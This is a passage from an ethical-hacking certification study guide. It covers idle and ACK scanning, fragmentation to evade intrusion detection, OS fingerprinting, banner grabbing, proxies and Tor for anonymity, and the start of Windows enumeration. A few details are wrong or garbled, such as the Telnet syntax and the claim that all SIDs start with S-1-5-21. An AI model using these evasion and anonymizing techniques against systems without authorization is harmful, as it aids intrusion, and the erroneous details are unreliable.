Every IP packet on the Internet has a fragment identification number (IP ID). Since
many operating systems simply increment this number for each packet they send,
probing for the IP ID can tell an attacker how many packets have been sent since the
last probe.
It is through the application and combination of these properties that the attacking party
can spoof their identity and cast blame on another system, which in this case is the
zombie. To an outside observer, the zombie will look like the originator of the attack.
The Breakdown
An idle scan consists of three steps that would be repeated for each port to be scanned:
1. Probe the zombie’s IP ID and record it.
2. Forge a SYN packet from the zombie and send it to the desired port on the target.
Depending on the port state, the target’s reaction may or may not cause the zombie’s
IP ID to be incremented.
3. Probe the zombie’s IP ID again. The target port state is then determined by comparing
this new IP ID with the one recorded in step 1.
After this process, the zombie’s IP ID should have incremented by a value of either one or
two. An increase of one indicates that the zombie hasn’t sent out any packets, except for
its reply to the attacker’s probe. This lack of sent packets means that the port is not open
(the target must have sent the zombie either an RST packet, which was ignored, or
nothing at all). An increase of two indicates that the zombie sent out a packet between the
two probes. This extra packet usually means that the port is open (the target presumably
sent the zombie an SYN/ACK packet in response to the forged SYN, which induced an RST
packet from the zombie). Increases larger than two usually signify a bad zombie host. It
might not have predictable IP ID numbers, or it might be engaged in communication
unrelated to the idle scan.
Even though what happens with a closed port is slightly different from what happens with
a filtered port, the attacker measures the same result in both cases, namely, an IP ID
increase of one. Therefore, it is not possible for the idle scan to distinguish between
closed and filtered ports. When nmap records an IP ID increase of one, it marks the port
closed|filtered.
Idle scans are a fantastic tool to add to your arsenal, but keep in mind that
there are pros and cons with every tool and technique. In the case of idle scans, one
of the pros is that this type of scan is effective at evading detection by an IDS and
some firewalls. A downside is that the scan will take longer to perform than other
options. In the case of idle scans you can expect a scan to increase in duration
significantly.
ACK Scanning
Up to this point we have mentioned that some scans can be detected or even blocked, so
what should you do if you encounter a situation where this happens? We will look at the
blocking issue first.
In many cases when a scan is blocked from reaching a target, a firewall may be present
and a specific type at that. If a firewall is preventing your scans (such as those mentioned
here), it is generally indicative of a stateful firewall being present.
Stateful firewalls—and those that perform stateful packet inspection (SPI)—are those that
track the state of all network connections transiting the device. The firewall is designed to
tell the difference between legitimate connections and those that are not. Any packets not
matching a known active connection will be dropped, while those that do match will be
allowed to pass.
ACK scanning is designed to test for the presence of SPI based on how the flags and SPI
function. In normal operation an ACK packet would be sent only in response to a
connection being established or in response to some existing TCP connection. This means
that if an ACK packet is sent to a target and no connection currently exists between the
scanner and the target, then it shouldn’t be present.
When this scan is performed and an ACK is sent to a target, the results will tell us what
we want to know (hopefully). When an ACK is able to make it all the way to its target, an
RST packet will be returned whether the port is open or closed (it is because an RST is
returned for both open and closed ports that this scan is not used to detect the actual
status of ports). It is also possible that if an ACK reaches its target, then a scanner such as
nmap will return a message stating the port is unfiltered. If the target cannot be reached
by the ACK message, then no response will be returned at all, indicating that it did not
reach its intended target. In the case of the ACK not reaching its target, the other
potential response may come in the form of an ICMP error message (such as type 3, code
0, 1, 2, 3, 9, 10, or 13) or is labeled “filtered.”
When a Scan Is Blocked
So what do you do as a pentester if packet filters, firewalls, and other devices start to pick
up evidence of your attack? Many methods are available to evade or minimize the risk of
detection when scanning. For example, fragmenting works by breaking a packet into
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multiple pieces with the goal of preventing detection devices from seeing what the
original unfragmented packet intends to do. Think of it as taking a large picture and
cutting it into little pieces like a jigsaw puzzle. If you don’t know what the original picture
looks like, you have to reassemble a bunch of pieces to figure it out.
In nmap, if you wish to fragment a packet, you can do so by using the –f switch as
follows:
nmap –sS –T4 –A –f –v <target IP address>
Remember fragmenting, because you will use it to evade intrusion-detection
systems, firewalls, routers, and other devices and systems. We will discuss
fragmenting and other evasion techniques many more times in this book. At this
point I am just making you aware that there are ways to avoid detection.
Other tools that can perform fragmenting are fragtest and fragroute. These last two are
command-line-only tools, but they perform the same function as the other fragmenting
tools.
UDP Scanning
While TCP-based scans offer their own features and capabilities, there are also other
types of scans that you can do, namely UDP-based scans. If you recall from Chapter 2,
“System Fundamentals,” UDP is a connectionless protocol, unlike TCP, which is
connection oriented. Whereas TCP is designed to react to transmissions depending on the
way flags in a packet are sent, UDP is not; in fact, UDP does not even have flags. This
difference means that a change of strategy and thinking is required.
To adjust your strategy, think of how UDP works in relation to ports. In TCP, many
different responses can occur based on numerous factors. In UDP, once a packet leaves a
system, that’s the end of things, or so we have been taught. In reality, when a UDP packet
is sent, no response is returned if the port on the target to which it is being sent is open.
However, if the port is closed, a response will be returned in the form of a “Port
Unreachable” message. Table 5.2 shows the different responses.
Table 5.2 Results of UDP scanning against closed and open ports
Port status Result
Open
No response
Closed
ICMP “Port Unreachable” message returned
Note the differences in the results as opposed to TCP scanning. With TCP scanning you
get different responses than you see here, but the connectionless UDP does not react the
same way to probe requests.
UDP does not employ a mechanism like TCP’s three-way handshake.
Remember that TCP is connection oriented whereas UDP is connectionless. The
response for a closed port should not be confused with a TCP flag of any sort and is
actually generated by ICMP.
OS Fingerprinting
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So now that you have done some scans and noted the information that was returned (you
are documenting this stuff, right?), we can move to a new task, which is to attempt to
identify systems a bit better. Behind those open and closed ports is an operating system,
and we now want to confirm the nature of the operating system by performing some
fingerprinting.
This process is called fingerprinting for a very good reason: It tries to identify an
operating system by the unique “fingerprints” that it returns. Those fingerprints (much
like those on humans) can be compared to a database of known fingerprints to determine
with varying degrees of accuracy what operating system the target is running. In practice
there’s enough information to clearly show what a specific system is. We just have to
know how to look for these unique details and determine what they mean.
First, know that there are two types of fingerprinting: passive and active. Table 5.3
compares the two.
Table 5.3 Active vs. passive fingerprinting
Active
Passive
How it
works
Uses specially crafted packets.
Uses sniffing techniques to capture
packets coming from a system.
Analysis
Responses are compared to a
database of known responses.
Responses are analyzed, looking for
details of the OS.
Chance of
detection
High, because it introduces traffic Low, because sniffing does not
onto the network.
introduce traffic onto the network.
To make this easier, just know that all fingerprinting techniques are based on detecting
the subtle differences in packets generated by different operating systems.
Common techniques are based on analyzing the following:
IP TTL values
IP ID values
TCP Window size
TCP options (generally, in TCP SYN and SYN+ACK packets)
DHCP requests
ICMP requests
HTTP packets (generally, the User-Agent field)
Running services
Open port patterns
Active Fingerprinting with Nmap
One of the easiest ways to detect a remote OS is to use nmap. nmap contains many
features, and OS detection happens to be a useful capability to help with this part of the
process. To perform this fingerprinting nmap fires a range of TCP and UDP packets at the
target system and then looks for responses to be returned. The responses are analyzed in
depth to look for clues as to the nature of the OS. Once the range of tests has been
completed, nmap compares the findings to the database that ships with the product to
look for matches. Once a match is found, it presents the results to the user. These results
will contain as much information as can be extracted in addition to the OS itself, such as
uptime and information about whether the system is a computer or a hardware device.
To perform OS detection with nmap perform the following:
nmap -O <ip address>
This command yields results such as the following. For illustrative purposes, this scan
has been performed against a hardware device:
Device type: WAP|general purpose|router|printer|broadband router
Running (JUST GUESSING) : Linksys Linux 2.4.X (95%), Linux 2.4.X|2.6.X (94%),
MikroTik RouterOS 3.X (92%), Lexmark embedded (90%), Enterasys embedded (89%),
D-Link Linux 2.4.X (89%), Netgear Linux 2.4.X (89%)
Aggressive OS guesses: OpenWrt White Russian 0.9 (Linux 2.4.30) (95%), OpenWrt
0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (94%), OpenWrt Kamikaze 7.09 (Linux 2.6.22)
(94%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.6.15 - 2.6.23
(embedded) (92%), Linux 2.6.15 - 2.6.24 (92%), MikroTik RouterOS 3.0beta5 (92%),
MikroTik RouterOS 3.17 (92%), Linux 2.6.24 (91%), Linux 2.6.22 (90%)
Note how nmap not only guesses the OS; it even ranks the possibilities in decreasing
order of confidence. Also note that the results specifically call out the device as well.
Passive Fingerprinting an OS
In order to perform a passive analysis of an OS, a change in strategy is required, which
means closer analysis of the subtle variations in network traffic observed. Among the
many methods is the inspection of the initial time to live (TTL) value in the header of a
packet. Another item that can be analyzed in the header of a packet is the window size
used in TCP packets during the SYN and SYN+ACK steps of the three-way handshake.
Table 5.4 shows some typical initial TTL values and window sizes of common operating
systems.
Table 5.4 Initial values for common OS versions
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Operating System
IP Initial TTL TCP Window Size
Linux
64
5840
Google customized Linux
64
5720
FreeBSD
64
65535
Windows XP
128
65535
Windows Vista, 7 and Server 2008 128
8192
Cisco Router (iOS 12.4)
4128
255
One Linux-based tool that is very effective at performing passive fingerprinting is p0f.
This tool is used to passively analyze network traffic and display the information
regarding the operating systems that are passing information. Since the utility doesn’t
directly target a host and only observes traffic, it is highly stealthy.
Because TCP traffic can be identified by different combination of flags and other
properties, when packets are intercepted by p0f they are compared against a database of
known attributes, which will determine what operating system sent them.
Be aware that passive OS fingerprinting takes more time to provide an
answer than active fingerprinting does in some cases. This is because it relies on
listening to get the information rather than actively generating the traffic. Passive
also can be less reliable in many cases than corresponding active methods.
In order to use p0f you will need access to the Linux operating system. While there are
many versions of Linux available, the demos in this book assume that you are using Kali
Linux version 2.0. Any Linux utility in this book can be loaded on the majority of other
versions, however.
EXERCISE 5.1
Using p0f
In this exercise you will use p0f to identify remote operating systems.
1. In Kali open a terminal window.
2. At the command prompt enter ifconfig and press Enter.
3. When you see a list of results, note the name of the network interface you want to
listen on (i.e., eth0 or wlan0); the active network interfaces will typically have an
IP assigned to them.
4. At the command line start up p0f and have it listen on an interface by using the
following command:
Sudo p0f –i <interface name>
and press Enter.
For example, if you want to listen on eth0, enter the following:
Sudo p0f –i eth0
and press Enter.
You may be prompted to enter the password for the root user; if so, enter the
password when prompted.
5. Now that p0f is listening, leave the command window open and open a web
browser.
6. In your browser enter the address of a website (it doesn’t matter which one) and
press Enter.
7. Switch over to the p0f command window and you will see traffic flow by rapidly.
If you scroll up and down the list, you will see that the operating systems sending
traffic are being identified as described.
Now that you have seen how p0f works in practice, you can try it without using a web
browser. Also try using other tools or simply connecting to a network share or other
resource. You will see the same type of activity from p0f in every case.
The tool in the exercise known as p0f is a form of something commonly
called a sniffer. While this is a form of network sniffer, it is still very basic. We will
cover more advanced and capable sniffers in Chapter 9, “Sniffers,”9 when we look at
a tool known as Wireshark.
Banner Grabbing
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With operating system information in hand as well as data about open ports, we have the
stage set to dig a little deeper. What we can engage in is known as banner grabbing.
Banner grabbing is designed to determine information about the services running on a
system and is extremely useful to ethical hackers during their assessment process.
Typically, the technique is undertaken using Telnet to retrieve banner information about
the target that reveals the nature of the service.
A banner is what a service returns to the requesting program to give information about
the service itself. Information that the banner reveals can be varied, but in the case of
HTTP it can include the type of server software, version number, when it was modified
last, and similar information.
In many cases Telnet is the client of choice in retrieving this information. Although there
are other tools (a few of which we’ll discuss in a moment), we’ll focus on Telnet because
it is the most common and the simplest. Most operating systems come with the ability to
establish Telnet sessions, so that is one of the primary ways that banner grabbing is
performed. Whether Telnet or another program is used, banners are grabbed by
connecting to a host and then sending a request to a port that is associated with a
particular service, such as port 80 for HTTP.
Telnet is included with all versions of Windows, but from Vista forward, it
must be enabled through the Control Panel by turning on the feature. The client was
pulled from Windows—for reasons presumably known to Microsoft—but it hasn’t
been made completely unavailable.
So how do you use Telnet to grab a banner from a system? Use the following command to
open a Telnet connection to a remote client to pull the services banner:
telnet <ip address>:<port> HEAD / HTTP/1.1
To retrieve the document as well as the headers, use GET instead of HEAD. If you want the
root document, use GET / HTTP/1.1 (or HEAD / HTTP/1.1).
HTTP/1.1 200 OK
Date: Feb, 22 Jan 2015 22:13:05 GMT
Server: Apache/1.3.12-Turbo
Connection: close
Content-Type: text/html
This process is started by using Telnet with the following syntax:
telnet <target IP address or hostname> 80 head/http/1.0
Here’s an example:
telnet www.someexamplesite.com 80 head/http/1.0
Figure 5.6 shows the results of a banner grab.
Figure 5.6 Results of a banner grab
If you look closely at Figure 5.6, you will notice that the line marked Server contains
information on the type of server itself. You’ll find this information useful in targeting
your attack.
Telnet is not the only way to gather this information, but it is the most basic and
straightforward method available. Here are some other tools that you should take a
moment to examine:
Netcraft This is an online tool designed to gather information about servers and web
servers. You saw this tool back in the footprinting phase, but it is also useful here.
Xprobe This is a Linux utility that can retrieve information about a system and provide it
to the collector.
p0f This utility is available on the Linux platform; it analyzes the traffic passing back and
forth from client to server. It provides real-time analysis of traffic that can be viewed
onscreen or saved to a file for later analysis.
Maltego This software is available on both Linux and Windows, and provides the ability
to not only gather information but also to visualize the relationships between each item.
This software has the ability to view web server information as well as the technology that
a website relies on to run.
Countermeasures
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So how can you counter the grabbing of banners from exposed resources? There are a few
options available that you can deploy.
First, disable or change the banner that the server is exposing. Since we have been looking
at various services, it is worth noting that many can have their information changed. For
example, in the case of Internet Information Server (IIS) it is possible to remove or alter
the contents of the banner so the system does not appear to be the same to scans or
banner grabs. Utilities such as IIS Lockdown, ServerMask, and others can remove this
valuable information.
Servers such as IIS and Apache have unique ways of stripping out banner
information, and this varies by version. I will avoid discussing the specifics of each
here and leave the research of how to do this on each version up to you.
Second, it is possible to hide file extensions on systems such as web servers. The purpose
of this technique is to hide the technology used to generate the web pages. Technologies
such as ASP.NET and JavaServer Pages (JSP) can be readily identified by viewing their file
extensions in the web browser. Removing this detail creates one more obstacle that an
attacker must overcome to get into the inner workings of a server. Technologies such as
PageXchanger for IIS are designed to assist in the removal of page extensions.
Vulnerability Scanning
So how do you find all the vulnerabilities that exist in an environment, especially with the
ever-increasing complexity of technologies? Many techniques are available to help you,
some of them manual or scripted in nature (many of which we have already discussed),
but automated tools such as vulnerability scanners are also available.
Vulnerability scanners are a special type of automated utility designed to identify
problems and holes in operating systems and applications. This is done by checking
coding, ports, variables, banners, and many other potential problem areas. A vulnerability
scanner is intended to be used by organizations to find out if there is a possibility of being
successfully attacked and what needs to be fixed to remove the vulnerability. Although
vulnerability scanners are used to check software applications, they also can check entire
operating environments, including networks and virtual machines.
Vulnerability scanners can be a great asset, but there are drawbacks. The scanners are
designed to look for a specific group of known issues, and if they don’t find those issues,
then they may leave the false impression that there are no problems. Therefore, it is wise
to verify the results of these applications using all the techniques discussed in this text.
Although a vulnerability scanner is made for legitimate users who want to
ensure their computer or network is safe, attackers may also choose to employ such
programs for their interests. By running a vulnerability scan, an attacker can find out
exactly what areas of the network are easy to penetrate.
Vulnerability scanners are mentioned here only to talk about them in context with the
other scanning techniques. Much like nmap, there are popular vulnerability scanners in
the form of Nessus, OpenVAS, Nexpose, Retina, and a few others.
For the record, nmap can be used as a very basic but effective vulnerability
scanner by virtue of the fact that it allows for the running of scripts. In fact, nmap is
packaged with a number of scripts that are installed with the product. These scripts
can also be customized and created by anyone who wants to do so just by learning
nmap’s own scripting engine known as NSE.
Mapping the Network
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Once you have ascertained the network environment and have figured out live IPs and
services, you can start mapping the network. This phase is designed to help you fully
visualize the network environment and start getting a clearer picture of what the network
looks like. With this information in hand, you can find any holes and deficiencies that can
be exploited.
Network mapping can give you an easy-to-look-at picture of the target
environment, but don’t assume that everything will necessarily show up in that
picture. Due to filtering of routers and firewalls, it is possible that some scans may
fail or return results that the scanner doesn’t understand.
Network mappers combine the scanning and sweeping techniques explained in this
chapter to build a complete picture. Keep in mind that mappers can easily reveal the
presence of the ethical hacker on the network due to the traffic that they generate, so
mappers should be used sparingly to avoid detection. Figure 5.7 shows the results of a
network mapper in action.
Figure 5.7 A network map built by a network-mapping software package
Using Proxies
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The last topic that needs to be discussed as far as successful scanning is concerned is the
use of proxies. A proxy is a system acting as a stand-in between the scanner and the
target. The proxy acts as an agent for the scanning party, thus providing a degree of
anonymity for the scanning party. Proxy servers can perform several functions, including
these:
Filtering traffic in and out of the network
Anonymizing web traffic
Providing a layer of protection between the outside world and the internal network
Proxy servers are typically used to maintain anonymity, which helps scanners. A vigilant
network administrator who is checking logs and systems will see the agent or proxy but
not the actual scanning party behind the proxy.
Setting up a proxy is easy and can be accomplished in a number of ways, depending on the
situation.
Setting a Web Browser to Use a Proxy
Use the following steps to set your browser to use a proxy:
1. Log on to www.whatismyip.com and write down your current IP address. Or you can
use ipconfig to gain this information.
2. Enter proxies in your favorite search engine to find a site providing a list of publicly
available proxies. Each proxy in the list consists of an IP address and a port.
3. Randomly select a proxy from the list and write down its IP address and port number.
4. In your browser, find the proxy settings and manually configure the browser to use
the information from step 3.
5. Check out www.whatismyip.com again to see how the proxy now hides your actual IP
address.
You can configure proxies in other web browsers the same way.
Choose a proxy based outside the United States to best simulate what an
advanced attacker would do. Proxies based in the United States can have their
records subpoenaed, which is why a malicious party typically would refrain from
using them.
Other proxy options are available to you as well that may be useful in certain situations.
An important one is The Onion Router (Tor). Tor is an older technology, but it is still
effective and widely used. To better understand this technology, read the following
description from the Tor Project’s website
(https://www.torproject.org/about/overview.html.en):
Tor is a network of virtual tunnels that allows people and groups to improve their
privacy and security on the Internet. It also enables software developers to create new
communication tools with built-in privacy features. Tor provides the foundation for a
range of applications that allow organizations and individuals to share information
over public networks without compromising their privacy.
So how does it work? Again, let’s let the developer describe the process (from the same
website):
To create a private network pathway with Tor, the user’s software or client
incrementally builds a circuit of encrypted connections through relays on the network.
The circuit is extended one hop at a time, and each relay along the way knows only
which relay gave it data and which relay it is giving data to. No individual relay ever
knows the complete path that a data packet has taken. The client negotiates a separate
set of encryption keys for each hop along the circuit to ensure that each hop can’t trace
these connections as they pass through.
So you see that TOR provides you with a good amount of protection as well as the ability
to obscure or encrypt traffic, making it much more difficult to detect.
One more software product that may prove useful at hiding some or all of your presence
during the information gathering process is Psiphon. This software relies on VPN
technologies to hide the activity of the user from outside parties.
Summary
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Acting on the information gathered from the footprinting phase, you can perform
network scanning with a much more targeted and purposeful strategy. Scanning
represents an aggressive approach to gaining information about a system, because you are
interacting directly with a target. You are probing the network and systems looking to see
what you can find. Vulnerability scans, network mapping, port scans, and OS
fingerprinting give you insight into the system and tell you the potential paths you can
take with your testing.
Exam Essentials
Remember the basic concept of scanning. Scanning is designed to reveal the nature
of system networks as well as the vulnerabilities that are present in the environment.
Understand the targets. Know which resources can be targeted. Know what is present
and start making plans on how to attack.
Know the vulnerabilities. Understand that vulnerabilities change based on the
operating system, network design, and other factors present in an environment.
Understand the different scanning types. Know the difference between the various
scan types and the strengths and weaknesses of each. Not all scans are created equal, nor
are they meant to perform the same task.
Know when to use each scan. Each scan has its own benefits and drawbacks that
make it a good or bad choice for a given situation. Know when to use each.
Know the preventive measures. Know the preventive measures available and the
actions each one takes to prevent the attack.
Know your tools and terms. The CEH exam is drenched with terms and tool names;
in the case of scanners, there are quite a few available. However, the one you should be
most familiar with and have experience using is nmap. Familiarize yourself with the
switches and techniques used to operate this scanner prior to taking the exam.
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Review Questions
1. Which of the following is used for banner grabbing?
A. Telnet
B. FTP
C. SSH
D. Wireshark
2. Which of the following is used for identifying a web server OS?
A. Telnet
B. Netcraft
C. Fragroute
D. Wireshark
3. Which of the following is used to perform customized network scans?
A. Nessus
B. Wireshark
C. AirPcap
D. nmap
4. Which of the following is not a flag on a packet?
A. URG
B. PSH
C. RST
D. END
5. An SYN attack uses which protocol?
A. TCP
B. UDP
C. HTTP
D. Telnet
6. Which of the following types of attack has no flags set?
A. SYN
B. NULL
C. Xmas tree
D. FIN
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7. What is missing from a half-open scan?
A. SYN
B. ACK
C. SYN-ACK
D. FIN
8. During an FIN scan, what indicates that a port is closed?
A. No return response
B. RST
C. ACK
D. SYN
9. During a Xmas tree scan what indicates a port is closed?
A. No return response
B. RST
C. ACK
D. SYN
10. What is the three-way handshake?
A. The opening sequence of a TCP connection
B. A type of half-open scan
C. A Xmas tree scan
D. Part of a UDP scan
11. A full-open scan means that the three-way handshake has been completed. What is
the difference between this and a half-open scan?
A. A half-open uses TCP.
B. A half-open uses UDP.
C. A half-open does not include the final ACK.
D. A half-open includes the final ACK.
12. What is the sequence of the three-way handshake?
A. SYN, SYN-ACK, ACK
B. SYN, SYN-ACK
C. SYN, ACK, SYN-ACK
D. SYN, ACK, ACK
13. What is an ICMP echo scan?
A. A ping sweep
B. A SYN scan
C. A Xmas tree scan
D. Part of a UDP scan
14. Which best describes a vulnerability scan?
A. A way to find open ports
B. A way to diagram a network
C. A proxy attack
D. A way to automate the discovery of vulnerabilities
15. What is the purpose of a proxy?
A. To assist in scanning
B. To perform a scan
C. To keep a scan hidden
D. To automate the discovery of vulnerabilities
16. What is Tor used for?
A. To hide web browsing
B. To hide the process of scanning
C. To automate scanning
D. To hide the banner on a system
17. Why would you need to use a proxy to perform scanning?
A. To enhance anonymity
B. To fool firewalls
C. Perform half-open scans
D. To perform full-open scans
18. A vulnerability scan is a good way to do what?
A. Find open ports
B. Find weaknesses
C. Find operating systems
D. Identify hardware
19. A banner can do what?
A. Identify an OS
B. Help during scanning
C. Identify weaknesses
D. Identify a service
20. nmap is required to perform what type of scan?
A. Port scan
B. Vulnerability scan
C. Service scan
D. Threat scan
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Chapter 6
Enumeration
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CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
P. Vulnerabilities
IV. Tools/Systems/Programs
O. Operating environments
Q. Log analysis tools
S. Exploitation tools
We’ve gathered a lot of information up to this point. Now it’s time to
start exploring the target system more closely with the intention of using that
information to hack into the system. Enumeration will retrieve information from a target
system through many tools and techniques, which include actively connecting to a system
itself.
Scanning allowed us to find hosts and see what ports are open and closed on any given
host. With this information in hand, we have potential entry points into a system that can
be exploited to learn more about the targeted host or hosts. Consider enumeration the
last step of the process before we chip away at the armor of a system to gain substantial
access to the target.
A Quick Review
Let’s take a brief look back at our previous phases to see what types of information we
have collected and how it carries forward to each step up to this point.
Footprinting
Footprinting is the phase where we gathered information from various open source
locations and through other techniques to learn about our target. We looked for
information that told us about the organization such as technology, people, policies,
facilities, networks, and other useful items. Footprinting helped create a profile that can
be used for later stages of the attack as well as to plan countermeasures.
Information that was gathered during this phase included the following:
IP address ranges
Namespaces
Employee information
Phone numbers
Facility information
Job information
During this phase we found that a significant amount of data can be acquired from
various sources both common and uncommon.
Scanning
The next phase, scanning, focused on gathering information from a target with the
intention of locating hosts. We discovered hosts and learned where the active hosts were
located, what ports they had open, and even vulnerabilities that may have been present.
We found information about target systems over the Internet by using public IP
addresses. In addition to addresses, we gathered information about services running on
each host through banner grabbing.
During this phase we utilized techniques such as these:
Pings
Ping sweeps
Port scans
Tracert
We even used some variations and tweaks in Nmap and other tools to probe hosts and
subnets.
Now you are ready to move into the next phase: enumeration.
What Is Enumeration?
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Enumeration is the process of extracting information from a target system to determine
more of the configuration and environment present. In many cases it is possible to extract
information such as usernames, machine names, shares, and services from a system as
well as other information, depending on the OS itself.
However, unlike with previous phases, you will be initiating active connections to a
system in an effort to gather a wide range of information. With this in mind, you need to
view enumeration as a phase that comes with much greater chances of getting caught.
Take extra effort to be precise lest you risk detection.
Think carefully about each of the actions you take, and think several steps
ahead in order to anticipate results and how to respond.
So why initiate active connections to a target? Simply put, it is the only way to learn
additional information on top of what we gathered so far through footprinting and
scanning. Through these active connections we can now execute directed queries at a
host, which will extract much additional information. Having retrieved sufficient
information, we can better assess the strengths and weaknesses of the system.
Information gathered during this phase generally falls into the following types:
Network resources and shares
Users and groups
Routing tables
Auditing and service settings
Machine names
Applications and banners
SNMP and DNS details
In previous chapters you were not too concerned with the legal issues.
However, at this point you need to understand that you may be crossing legal
boundaries. But if you have done your due diligence with your client, you won’t have
any problems because you have permission to perform these actions against the
target.
You did get permission, right?
So what options are available to an attacker performing enumeration? Let’s look at the
techniques you will be using in this chapter:
Extracting Information from Email IDs This technique is used to obtain username
and domain name information from an email address or ID.
An email address contains two parts: The first part before the @ is the username and
what comes after the @ is the domain name.
Obtaining Information through Default Passwords Every device has default
settings in place, and default passwords are part of this group. It is not uncommon to find
default settings either partially or wholly left in place, meaning that an attacker can easily
gain access to the system and extract information as needed.
Using Brute-Force Attacks on Directory Services A directory service is a database
that contains information used to administer the network. As such, it is a big target for an
attacker looking to gain extensive information about an environment. Many directories
are vulnerable to input verification deficiencies as well as other holes that may be
exploited for the purpose of discovering and compromising user accounts.
Exploiting SNMP The Simple Network Management Protocol (SNMP) can be exploited
by an attacker who can guess the strings and use them to extract usernames.
Exploiting SMTP The Simple Mail Transport Protocol (SMTP) can be exploited by an
attacker who can connect to and extract information about usernames through an SMTP
server.
Working with DNS Zone Transfers A zone transfer in DNS is a normal occurrence,
but when this information falls into the wrong hands, the effect can be devastating. A
zone transfer is designed to update DNS servers with the correct information; however,
the zone contains information that could map out the network, providing valuable data
about the structure of the environment.
Capturing User Groups This technique involves extracting user accounts from
specified groups, storing the results, and determining whether the session accounts are in
the group.
Retrieving System Policy Settings In enterprise environments and others, there are
frequently policy settings or something similar in place that determine how security and
other things are handled. The enumeration phase can sometimes obtain these settings,
allowing you to get more insight into your target.
About Windows Enumeration
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The Microsoft Windows operating system is designed to be used as either a stand-alone
or networked environment; however, for this discussion you will assume a networked
setup only. In the Windows world, securing access to resources, objects, and other
components is handled through many mechanisms, with some common threads as
covered here.
You need to know how access to resources such as file shares and other items is managed.
Windows uses a model that can be best summed up as defining who gets access to what
resources. For example, a user gets access to a file share or printer.
Users
In any operating system, the item that is most responsible for controlling access to the
system is the user. In Windows, the user account manages access as necessary. User
accounts are used in Windows for everything from accessing file shares to running
services that allow software components to execute with the proper privileges and access.
In the Windows OS the default installation has two user accounts that are present and
ready to be used by the owner of the system: the administrator account and the guest
account. Let’s talk about these two accounts for a moment because they have taken on
some new importance and seen changes over the last few releases. In fact, the accounts
have experienced some changes since the introduction of Windows Vista up to the
current version, which is Windows 10.
Guest This account has been present in the Windows operating system for a considerable
amount of time but has not experienced substantial change itself. Essentially this account
is meant to be extremely limited in capability and power and is not enabled by default; it
must be enabled to be used (which in practice is very rarely done). In practice, the guest
account is just left disabled and that’s the end of it.
Administrator The administrator account has seen numerous changes from Windows
Vista forward. Since the release of Vista the account is present on every version of the
Windows OS; it is also not active by default. However, the question is why is this account
not activated by default? Simply put, it is to enhance the level of security present on the
system.
Prior to Windows Vista, the administrator account was not only present on every system;
it was also always enabled. Many people got in the habit of using this account because it
let them do whatever they wanted without restriction. However, this was bad because not
only could the user consciously do whatever they wanted to without restriction, but other
processes and applications such as malware could run in the background with the same
level of system permissions as the current session (for example, admin privileges).
To counter this in Vista forward, the account has been disabled, and you are now
prompted to create your own account when you install the OS from scratch. While that
account can have administrator privileges, you must use them only in specific situations
that require them. In Windows, this means that unless you try to execute a function that
requires elevated administrator privileges, you won’t be using them even if you have the
ability to be an admin. But when you want to access a function or feature that requires
these elevated privileges, you will be asked if you want to run the command, and if so, you
will be allowed to do so. What Windows is actually doing is raising the privileges for that
single process and leaving everything else running on your account with normal
privileges. Yes, this means you are running as a standard user if you are an administrator,
and you will only be able to run administrator privileges on a case by case basis.
Windows does have some built-in accounts that aren’t meant to be used by a user
directly, if at all. These accounts are designed to run background processes and other
activities as necessary.
Processes in Windows can be run under one of the following user contexts:
Local Service A user account with higher than normal access to the local system but
only limited access to the network.
Network Service A user account with normal access to the network but only limited
access to the local system.
System A super-user-style account that has nearly unlimited access to the local system.
Current User The currently logged-in user, who can run applications and tasks but is
still subject to restrictions that other users are not subject to. The restrictions on this
account remain even if the account being used is an administrator account.
Each of these user accounts is used for specific reasons. In a typical Windows session,
each is running different processes behind the scenes to keep the system performing. In
fact, in Windows each account can be running one of more services at any one time,
though in many cases it is a one-to-one relationship.
What all of these user accounts have in common is structure and design. Each user object
contains information about the user of the account, the access level, groups they are a
member of, privileges, and other important information such as the unique identity,
which prevent conflicts.
Groups
Groups are used by operating systems such as Windows and Linux to control access to
resources as well as to simplify management. Groups are effective administration tools
that enable management of multiple users. A group can contain a large number of users
that can then be managed as a unit, not to mention the fact that a group can even have
other groups nested within it if it simplifies management. This approach allows you to
assign access to a resource such as a shared folder to a group instead of each user
individually, saving substantial time and effort. You can configure your own groups as
you see fit on your network and systems, but most vendors such as Microsoft include a
number of predefined groups that you can use or modify as needed. There are several
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default groups in Windows:
Anonymous Logon Designed to allow anonymous access to resources; typically used
when accessing a web server or web applications.
Batch Used to allow batch jobs to run schedule tasks, such as a nightly cleanup job that
deletes temporary files.
Creator Group Windows 2000 uses this group to automatically grant access
permissions to users who are members of the same group(s) as the creator of a file or a
directory.
Creator Owner The person who created the file or directory is a member of this group.
Windows 2000 and later uses this group to automatically grant access permissions to the
creator of a file or directory.
Everyone All interactive, network, dial-up, and authenticated users are members of this
group. This group is used to give wide access to a system resource.
Interactive Any user logged on to the local system has the Interactive identity, which
allows only local users to access a resource.
Network Any user accessing the system through a network has the Network identity,
which allows only remote users to access a resource.
Restricted Users and computers with restricted capabilities have the Restricted identity.
On a member server or workstation, a local user who is a member of the Users group
(rather than the Power Users group) has this identity.
Self Refers to the object and allows the object to modify itself.
Service Any service accessing the system has the Service identity, which grants access to
processes being run by Windows 2000 and later services.
System Windows 2000 and later operating systems have the System identity, which is
used when the operating system needs to perform a system-level function.
Terminal Server User Allows Terminal Server users to access Terminal Server
applications and to perform other necessary tasks with Terminal Services.
Note that depending on the environment, the software and hardware
installed, and the policies dictating the configuration of systems, you may have way
more groups with different names than are listed here.
Security Identifiers
Well congrats on making it this far, but now we have to talk about the real “meat” behind
users and groups, which is a security identifier (SID). Simply put, the SID is a number
assigned by the OS to uniquely identify a specific object such as a user, group, or even a
computer.
When an object is created, the system generates and assigns the SID, notes it, and assures
that it is never used again.
Why Even Bother Using an SID?
While everyday users and maintainers or a system can get away with using common
names, for Windows internally this will not work. If Windows referred to a common
name like humans do instead of using an SID, then everything associated with that name
would become void or inaccessible if the name were changed in any way.
Rather than allow this situation to occur, the user account is instead tied to an
unchangeable string (the SID), which allows the username to change without affecting
any of the user’s settings. This means that a username can change, but the SID (while
linked to the username) will not. In fact, you can’t change the SID that’s associated with
an account without having to manually update all of the security settings that were
associated with that user to rebuild its identity.
Decoding SID Numbers
All SIDs start with S-1-5-21 but are otherwise unique. You, the penetration tester, can
choose to decode the whole SID to determine in-depth information about a user or group,
but let’s look specifically at user accounts.
The two main accounts (guest and administrator) have some unique properties.
Specifically, these accounts end in 500 for the administrator and 501 for the guest. This
